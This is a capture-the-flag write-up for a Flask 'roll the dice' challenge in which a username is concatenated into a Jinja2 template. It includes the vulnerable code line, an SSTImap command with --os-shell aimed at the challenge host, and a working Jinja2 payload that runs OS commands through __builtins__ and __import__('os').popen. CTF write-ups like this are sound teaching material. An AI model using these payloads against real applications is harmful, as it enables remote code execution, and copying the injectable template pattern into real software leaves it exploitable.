Challenge Description
< Roll the dice!
We are given a small Flask application where the username is reflected into a template string.
Solving
When we read the source code, we can see the vulnerability here:
template = "Hello, " + username + "! Your roll of the dice is: {{ dice }}"
return render_template_string(template, dice=dice)
The value of username is concatenated directly into render_template_string. That means we have a classic Jinja2 Server-Side Template Injection.
To confirm and exploit it faster, I used SSTImap with the challenge URL:
python3 sstimap.py -u http://34.170.146.252:37387/roll?username= --os-shell
SSTImap confirms the Jinja2 SSTI and gives command execution on the server.
After getting command execution, I first tried to inspect the files in the working directory and I saw entries like ._flag.txt, but reading that file did not help.
posix-linux $ ls -la
-rw-rw-r-- 1 root root 163 Jan 5 14:56 ._flag.txt
That was the wrong path. The important clue was actually in the Dockerfile:
# Flag is at /flag-[md5 hash of flag].txt
RUN mv flag.txt /flag-$(md5sum flag.txt | awk '{print $1}').txt
So the flag is not inside the app folder with the name flag.txt. It is moved to the root directory / and renamed to a hashed filename.
To list everything from the root directory, I used this SSTI payload:
{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah /').read()}}
That shows the real flag file in /:
-rw-rw-r-- 1 root root 35 Jan 5 14:56 flag-f01dbe82bc9d1ea4a4de5d52f0f1dfbd.txt
After that, reading all files from the root with SSTImap was enough, and the flag appeared in the response:
posix-linux $ cat /*
Alpaca{Sushi_Sashimi_Tempura_Inari}
So the full path was: find SSTI, get shell with SSTImap, notice that the fake ._flag.txt is not useful, read the Dockerfile carefully, and then search in / where the real hashed flag file is stored.
Flag
Alpaca{Sushi_Sashimi_Tempura_Inari}